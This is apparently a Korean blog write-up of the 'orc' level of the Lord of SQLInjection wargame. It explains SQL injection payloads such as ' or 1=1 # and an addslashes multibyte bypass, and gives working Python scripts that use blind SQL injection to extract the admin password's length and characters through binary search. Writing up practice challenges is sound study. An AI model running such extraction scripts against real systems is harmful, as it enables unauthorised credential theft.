레벨 4 orc 문제 풀이
제시 문제
※ url에 ?를 쓰면 query를 날릴 수 있다.
즉 url에 ?pw=1234 or '1을 넣어보면, '' 안에 값이 입력된다.
위와 같이 변하는 것을 볼 수있다. admin계정으로 로그인이 되는데 이제 뒤에 쿼리문을 보면서 문제를 풀어야한다.
$_GET['pw']를 받아와서 addslashes 함수 안에 넣는데 이는 내부적으로 작은 따옴표같은 문이 들어가있으면 오류가 발생할 수도 있기때문에 이를 이스케이프 시켜주는 함수이다.
pw=1234 or '1 에서 따옴표가 pw=1234 or /1가 되는 것이다.
DB에서 다시 꺼내올때는 stripslashes로 이를 제거하게 된다.
이는 한글자가 2바이트로 구성된 문자인 멀티바이스로 우회가 가능하다. 예를들어 %f1'로 제거가 가능한데 %f1/'이 %f1%5c'로 앞에 문자와 역슬래시가 묶여 하나의 문자열이 되기때문에 우회가 가능하다.
맞는 말이지만 이 문제의 풀이방법은 아니다.
문제를 들고 한참 삽질을 하다가 이 문제는 pw가 일치해야 결국 풀리기때문에 첫 if문이 참일시 Hello admin이 뜨는 것을 이용해 패스워드를 알아내야한다는 힌트를 얻었다.
그래서 id=admin and length(pw) = n 으로 pw길이를 알아내는 함수를 사용해 n의 숫자를 늘려가며 Hello admin(참)이 되는 길이를 찾는다.
pw가 8글자인것을 확인한 후 직접 이 문자를 알아내기 위해서 파이썬 자동화코드를 간단하게 구현해보았다.
함수와 원리는 이해했지만 파이썬을 만져보지못한 나로썬 다른이의 블로그를 참고해 구현했다.
<파이썬 자동화 코드 구현>
상태 응답 코드 ( req.status_code )
파이썬 자동화 코드 구현을 위해서 import 로 requests 모듈을 가져온다.
Request는 가장 많이 사용하는 라이브러리로 쉽게 http요청을 할 수있다.
request로 url을 가져오고, 해당 사이트에 F12관리자 페이지에서 application > cookie 값을 가져온다.
제대로 된 응답을 하는지를 보기위해 req.status_code로 응답 코드를 띄워본다.
import requests
#req에는 url의 html정보가 들어있음
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}
req = requests.get(url, cookies=cookie)
print(req.status_code)
blind injection을 위한 T/F 테스트
Hello admin 출력의 유무에 따라 참, 거짓의 판별이 되기때문에 Blind SQL injection을 수행가능하다고 판단한다.
import requests
#req에는 url의 html정보가 들어있음
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}
param = {"pw": "'or 1 = 1 # "} #파라미터에 값 직접대입
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
print(param['pw'],"True") #참
else:
print(param["pw"],"False") #거짓
비밀번호 길이 구하기
format함수는 문자열 안의 특정한 값을 바꿔야할 경우 사용하는 문자열 포매팅기법을 할 수있게 해주는 함수이다.
두가지 수, 인덱스와 혼용 등으로 사용이 가능하고 파이썬 3.6버전부터는 문자열 앞에 f를 붙여 사용할 수있다.
점프 투 파이썬 - 02-2 문자열 자료형 format 함수 참고
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}
def find_length():
pwlength = 1
while True:
param = {"pw": "' or id = 'admin' and length(pw) = {} # ".format(pwlength)}
#파이썬 내장함수 format은 파마미터 {}안에 값을 대입하게 하는 것이다.
#f로만 사용할경우 param = {"pw": f"' or id = 'admin' and length(pw) = {pwlength} # "가 가능하다.
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
print("비밀번호의 길이는:",find_length())
비밀번호 구하기
이제 비밀번호를 구하기 위해 이진 탐색 코드를 활용한다.
ascii 코드를 사용하는 이유는 대소비교를 가능하게 해 자동화코드를 구현할수있게하기 때문이다.
substring 함수는 문자열에서 특정한 구간의 문자열을 추출해주는 함수입니다.
substring(구하는 값, 시작부분, 끝부분) - 생활코딩 설명 참고
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}
def find_length():
pwlength = 1
while True:
param = {"pw": "' or id = 'admin' and length(pw) = {} # ".format(pwlength)}
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
def find_pw():
length = find_length()
password = ""
for i in range(length):
s= 1
e= 127
value = 64
while True:
param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} # ".format(i+1, value)}
print(param)
req=requests.get(url,params=param,cookies=cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} # ".format(i+1, value)}
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
s=value
value = (value+e) //2
else:
e=value
value = (s+value) //2
print("비밀번호는: ", password)
find_pw()
코드를 보면 길이를 구한후,
{} 파라미터안에 1부터 n번째까지 차례로 한글자씩 값을 추출한다.
if문이 참으로 나올경우(해당 값의 비밀번호가 일치할경우) 출력한후 ++1 다음차례로 넘어가고
거짓으로 나올경우 대소비교를 통해 이진탐색을 계속 진행한다.
S=1
E=127
중간값, value=64
이해가 어려운 분을 위한 상세 풀이
첫번째 if 문) 비밀번호 1번째 자리수가 64인가? NO
두번째 if 문) 대소비교
➡ 값이 64보다 큰가? NO
첫번째 if 문) 비밀번호 1번째 자리수가 32인가? NO
두번째 if 문) 대소비교
➡ 값이 32보다 큰가? NO
첫번째 if 문) 비밀번호 1번째 자리수가 16인가? NO
두번째 if 문) 대소비교
➡ 값이 16보다 큰가? YES
첫번째 if 문) 비밀번호 1번째 자리수가 24인가? NO
두번째 if 문) 대소비교
➡ 값이 24보다 큰가? NO
첫번째 if 문) 비밀번호 1번째 자리수가 20인가? NO
두번째 if 문) 대소비교
➡ 값이 20보다 큰가? YES
첫번째 if 문) 비밀번호 1번째 자리수가 22인가? YES
==> 비밀번호 1번째 값에 대입, n번째 자리수까지 돌린다.
YES/NO의 판단은 print(Hello admin)의 유무에 따른다.
풀이 성공!
'Wargame' 카테고리의 다른 글
[LOS] 6번 darkelf 문제 풀이 (0) | 2022.01.16 |
---|---|
[LOS] 5번 wolfman 문제 풀이 (0) | 2022.01.16 |
[LOS] 3번 goblin (0) | 2022.01.08 |
[LOS] 2번 cobolt (0) | 2022.01.08 |
[LOS] 1번 gremlin 풀이 (0) | 2021.10.26 |